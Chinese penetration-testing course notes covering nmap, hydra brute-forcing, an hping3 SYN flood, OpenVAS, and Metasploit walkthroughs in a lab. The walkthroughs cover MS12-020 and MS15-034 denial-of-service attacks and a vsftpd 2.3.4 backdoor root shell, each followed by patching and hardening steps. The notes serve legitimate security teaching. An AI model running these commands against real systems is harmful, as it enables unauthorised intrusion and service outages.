内容回顾

1.nmap扫描:

TCP半开扫描:nmap -sS  目标地址/域名

-s : scan 扫描

S:SYN



TCP全开扫描:nmap -sT 目标地址/域名

T:TCP



UDP扫描:nmap -sU 目标地址/域名

U:UDP



扫描目标主机的操作系统:

nmap -sS -O 目标地址/域名

-O:Operation 操作系统



扫描主机开放的端口服务及版本信息:

nmap -sV 目标地址/域名

V:Version 版本



扫描目标网段的存活主机:

nmap -sP 目标网段 192.168.10.0/24

P:Ping



nmap —help:获取命令选项的帮助



crunch:生成密码文件

crunch 密码的最小长度 密码的最大长度 密码素材 -o 文件名

-o:output 输出 /保存为文件



hydra:海德拉/许德拉

hydra -l 用户名 -p 密码 目标地址 协议/服务

-l:login 登录(用户名)

-p:password 密码

-L:指定用户名字典

-P:指定密码字典

-o:输出文件

-v:查看海德拉版本



hydra -L 用户名文件 -P 密码文件 目标地址 协议/服务

-L:指定用户名文件

-P:指定密码文件



拒绝服务攻击Dos:

hping3 —syn —flood -p 端口 目标地址 

flood:洪水



渗透测试流程:

  前期交互、**信息收集、威胁建模、漏洞分析、渗透攻击**、后渗透攻击、渗透报告

kali进行ssh连接报错解决:

┌──(root㉿kali)-[~]
└─$ mkdir .ssh
┌──(root㉿kali)-[~]
└─$ vim .ssh/config                          //创建ssh配置文件,防止ssh连接报错
Host *
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa

一、漏洞披露

漏洞: 是指硬件、软件、协议或系统安全策略上存在的缺陷,漏洞利用是利用程序中的某些漏洞,
来得到计算机的控制权、窃取资料、使目标主机崩溃、执行程序、获取键盘记录、截屏等 

1、微软安全更新指南(自20172月起,替代安全公告)

安全公告都有一个惟一的编号
其命名规则是:MS年份-补丁序号 或 CVE-年份-补丁序号
比如MS17-010就表示2017年发布的编号为010的安全公告
最后安全公告:MS17-023

17年及之前以MS命名的微软漏洞:
https://learn.microsoft.com/en-us/security-updates/
访问后点击左侧Security Bulletins

17年及之后以CVE命名的微软漏洞:
https://msrc.microsoft.com/update-guide/  

 微软官方下载补丁文件(输入补丁编号)
https://www.catalog.update.microsoft.com/home.aspx

2、CVE:通用漏洞与披露
CVE可以理解为是一个漏洞字典,也可以称作信息安全漏洞词典

CVE是指给每个安全漏洞的确定一个唯一的名称,也叫CVE ID 编号.

http://cve.org

3、国家信息漏洞共享平台
https://www.cnvd.org.cn   //国家信息漏洞共享平台

https://www.cnnvd.org.cn    //国家信息安全漏洞数据库

4)美国国家信息安全漏洞库
https://nvd.nist.gov 

 其他获取最新漏洞的方式:github.com  搜索CVE 
 加入一些论坛或者安全人员群

二、漏洞扫描OpenVAS

1、网络探测
1)网络探测是指对计算机网络或DNS服务器进行扫描,获取有效的地址、活动端口、主机操作系统类型和安全弱点
2)常用工具
Nmap、Nessus、OpenVAS、Metasploit Framework
Nessus 是全世界最多人使用的系统漏洞扫描与分析软件,OpenVASNessus的一个开源分支,用于管理目标系统的漏洞

2、使用openvas漏洞扫描
漏洞扫描是一种技术手段,可以发现目标系统存在的漏洞,还可以进一步利用发现的漏洞进行渗透测试。


登录openvas

1)从物理机访问https://192.168.10.224:9392,登录用户名admin 密码admin,如图-3所示。

2)配置扫描的端口,通过页面菜单"Configuration-->"Port Lists",添加"http"端口为80
配置为仅扫描一个80端口

3)配置扫描目标,通过页面菜单"Configuration"-->"Targets",扫描的目标主机192.168.10.142,端口列表为"http",如图-5所示。

创建并执行扫描任务

1)配置扫描任务,通过页面菜单"Scans"-->"Tasks",添加扫描目标为"windows2008",如图-6所示。

2)执行扫描任务,通过页面菜单"Scans"-->"Tasks",找到列表中的任务,单击右侧的"播放"按钮执行扫描

检查扫描结果

1)通过页面菜单"Scans"-->"Reports",可以找到扫描报告页面;或者在执行扫描任务时,单击“Reports”下方的数字也可以打开当前任务的报告页,如图-8所示。

单击报告左侧的日期,就可以看到详细的报告页面了,如图-9所示。

漏洞扫描结果:

openvas下载与安装:
greenbone-openvas源代码:
https://github.com/greenbone/openvas-scanner

openvas-docker版下载安装
https://github.com/mikesplain/openvas-docker

openvas更新漏洞库:

三、渗透测试工具MSF


Metasploit Framework 简称MSF,是一款开源的安全漏洞检测工具。可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台,集成数千个漏洞利用、辅助测试模块

1、常用模块(武器)
1)Auxiliary 辅助

一般负责执行扫描、嗅探、指纹识别、爆破等相关功能以辅助攻击,不直接在测试机和目标主机之间建立访问

2)Exploit 漏洞利用

利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问

3)Payloads 载荷

目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于
在目标系统上运行任意命令或者执行特定代码

从最简单的添加用户账号、提供命令行Shell到基于图形化界面控制,以及最复杂、
具有大量后渗透攻击阶段功能特性的Meterpreter

4)Post 后渗透

在取得目标的远程控制权(“得手”)以后,可以进一步实施的攻击动作,如部署后门木马、
获取敏感信息、实施跳板攻击等

2、msfconsole基础命令
?            //获取帮助

? show       //查看show指令的帮助

search       //搜索模块(找武器)

use         //使用模块(使用武器/持有武器)

set         //设置模块选项(设置攻击目标)

run         //运行当前模块(发起攻击)

options     //列出当前模块的选项

show        //查看模块或相关信息

back        //返回上一步

exit/quit   //退出MSF控制台

3、MSF初始配置
工作区 ,MSF将所有数据都存储在PostgreSQL,为了方便开展工作,MSF针对不同的渗透项目执行渗透时,
所产生的工作数据,都可以存储在不同的工作区内,方便以后我们写报告时调用数据
第一步:初始化数据库
[root@kail ~]# msfdb  init                             //初始化数据库 
[root@kail ~]# systemctl enable postgresql  --now      //开机自启动数据库 
[root@kail ~]# msfconsole                              //进入msf控制台 
第二步:创建/删除/切换工作区
msf6 > workspace                //查看当前工作区 
msf6 > workspace  -a  tedu      //创建工作区tedu,自动切换到新工作区 
msf6 > workspace  default       //切换到default工作区 
msf6 > workspace  -d  tedu      //删除工作区tedu 

练习:
1.查看当前的所有工作区
workspace

2.创建zhangsan和tony工作区
workspace -a zhangsan
workspace -a tony

3.切换到zhangsan工作区
workspace zhangsan

4.删除zhangsan,tony工作区
workspace -d zhangsan
workspace -d tony
第三步:扫描数据
msf6 > db_nmap  192.168.10.143     //调用nmap扫描目标

、MSF辅助模块Auxiliary应用

1、网站目录扫描(Linux靶机/windows靶机)


第一步:查找辅助脚本,使用辅助脚本
msf6 >  search  dir_scan                //搜索dir_scan脚本 (找武器) 
msf6 >  use  0                         //使用编号为0的脚本 (使用武器) 
msf6 >  set rhosts  192.168.10.143      //设置攻击目标 (设置攻击目标) 
msf6 >  run                           //运行脚本 (发起攻击)   
   [] Detecting error code
  [] Using code '404' as not found for 192.168.10.143
  [+] Found http://192.168.10.143:80/cgi-bin/ 404 (192.168.10.143)
  [+] Found http://192.168.10.143:80/doc/ 200 (192.168.10.143)
  [+] Found http://192.168.10.143:80/icons/ 404 (192.168.10.143)
  [+] Found http://192.168.10.143:80/index/ 404 (192.168.10.143)
  [+] Found http://192.168.10.143:80/phpMyAdmin/ 200 (192.168.10.143)
  [+] Found http://192.168.10.143:80/test/ 404 (192.168.10.143)     
  
  
  
   练习:
  利用MSF发起目录扫描,扫描win2008的后台目录
  1.寻找可利用程序
  msf6 > search dir_scan 
  
  2.使用程序
  msf6 > use 0 
  
  3.设置扫描目标主机
  msf6 > set rhosts 192.168.10.143
  
  4.运行程序   
  msf6 > run 

第二步:验证网站目录
在物理机浏览器访问: http://192.168.10.143/doc //查看网站列表

2、DOS攻击(Windows靶机)

1)MS12-020 远程桌面漏洞-死亡之蓝

CVE-2012-0002(MS12-020)漏洞,利用Windows系统的远程桌面协议(RDP)存在缓存溢出漏洞,攻击者可通过向目标操作系统发送特定内容的RDP包造成操作系统蓝屏

msf6 >  search  ms12-020             //搜索ms12-020脚本 
Matching Modules
================
   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
    0   auxiliary/ scanner /rdp/ms12_020_check                               normal  Yes    MS12-020 Microsoft Remote Desktop Checker
    1   auxiliary/ dos /windows/rdp/ms12_020_maxchannelids  2012-03-16       normal  No     MS12-020 Microsoft Remote Desktop Use-After-Free DoS

  一个是ID0   有一个关键词 scanner, 是 扫描 的脚本
  一个是ID1   有一个关键词 dos ,是 拒绝服务 攻击的脚本

msf6 >  use 1                                                               //使用DOS攻击脚本     
msf6 auxiliary(scanner/rdp/ms12_020_check) >  set rhosts 192.168.10.142      //设置攻击目标 
msf6 auxiliary(scanner/rdp/ms12_020_check) >  run                           //攻击
2)防御MS12-020漏洞
安装补丁Windows6.1-KB2621440-x64.msu

五、MSF漏洞利用Exploit应用(攻击Linux靶机)


CVE-2011-2523 vsftpd 2.3.4 后门漏洞(笑脸漏洞),此漏洞允许以root身份执行任意命令

msf6 >  search vsftpd 
msf6 >  use 0 
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >  set rhosts 192.168.10.143 
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >  run  
[*] 192.168.10.143:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.10.143:21 - USER: 331 Please specify the password.
 [+]  192.168.10.143:21 - Backdoor service has been spawned, handling...
 [+]   192.168.10.143:21 -  UID: uid=0(root) gid=0(root) 
[*] Found shell.Command shell  session 1  opened ( 0.0.0.0:0 -> 192.168.10.143:6200 )     //侵入成功 
   whoami                   //显示当前用户 
   root 
   pwd                      //查看当前目录 
   /root

六、CVE-2015-1635漏洞攻防实战



CVE-2015-1635(MS15-034)漏洞存在于HTTP协议堆栈(HTTP.sys)中,攻击者只要发送恶意http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃

补丁文件:Windows6.1-KB3042553-x64
1)漏洞扫描(OpenVAS报告)
2)用poc脚本去验证漏洞真实存在
3MSF漏洞利用,DOS攻击服务器蓝屏
4)对IIS安全加固:关闭内核缓存
5MSF漏洞利用,服务器不再蓝屏,成功防御了攻击
6)把内核缓存在开启(内核缓存可加快网站性能)
7)对系统进行加固:安装系统补丁
8)用POC脚本测试,发现提示目标服务器补丁已修复
9MSF漏洞利用,发现目标服务器不再蓝屏

1、漏洞扫描

2、漏洞验证
2.1 POC脚本进行漏洞验证
1)上传 cve-2015-1635.poc 到kali 系统 root目录下

2)修改cve-2015-1635.poc 文件中的 ipaddr 为 win2008 地址

   ipAddr = "192.168.10.142" 
  
3)开始验证

[root@kali ~] #  python2  cve-2015-1635.poc          //执行POC验证脚本 
[*] Audit Started                                 //审计开始 
[!!] Looks VULN                                  //看起来很脆弱(vulnerable) 

2.2 MSF寻找漏洞验证程序进行验证
msf6 >  search  ms15-034   
msf6 >  use 1 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) >  set rhosts 192.168.10.142 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) >  run 

[+] Target may be vulnerable...   // 目标可能是脆弱的(有ms15-034漏洞)
[+] Stand by...

3、漏洞利用
msf6 >  search  ms15-034    
msf6 >  use 0  
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) >  set rhosts 192.168.10.142 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) >  run 

 //检查W2008 主机是否蓝屏    

 如果攻击失败,还原win2008到靶机的快照位置,再次发起攻击(还原快照后win2008IP会变,注意查看IP)

4、对IIS安全加固:关闭内核缓存

5、MSF漏洞利用,服务器不再蓝屏,成功防御了攻击

sf6 >  search ms15-034                                            
msf6 >  use 0 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) >  set rhosts 192.168.10.142 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) >   run 

 //再次使用攻击脚本去对目标服务器进行攻击,发现目标服务器不再蓝屏了

6、把内核缓存再次开启(内核缓存可加快网站性能)

7、对系统进行加固:安装系统补丁
补丁:MS15-034-Windows6.1-KB3042553-x64-2008R2

8、用POC脚本测试,发现提示目标服务器补丁已修复

[root@kali ~]  python  cve-2015-1635.poc   
[*] Audit Started          //开始审计 
[*]  Looks Patched           //看起来补丁已修复

9、MSF漏洞利用,发现目标服务器不在蓝屏

msf6 >  search ms15-034 
msf6 >  use 1 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) >  set rhosts 192.168.10.142 
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) >  run 
[-] Target is  not vulnerable        //目标没有漏洞

附:使用github获取最新CVE漏洞信息

1.访问github官网:http://github.com
2.搜索栏搜索:CVE
3.点击排行第一的项目,看到历年的CVE漏洞

1)漏洞扫描(OpenVAS报告),使用POC脚本验证漏洞,MSF漏洞扫描程序验证

2)MSF漏洞利用
2.1 search 漏洞编号
2.2 use 程序序号
2.3 set rhosts 目标
2.4 run/exploit


3)漏洞修复:修改配置,打补丁

4)漏洞修复验证
4.1 扫描
4.2 攻击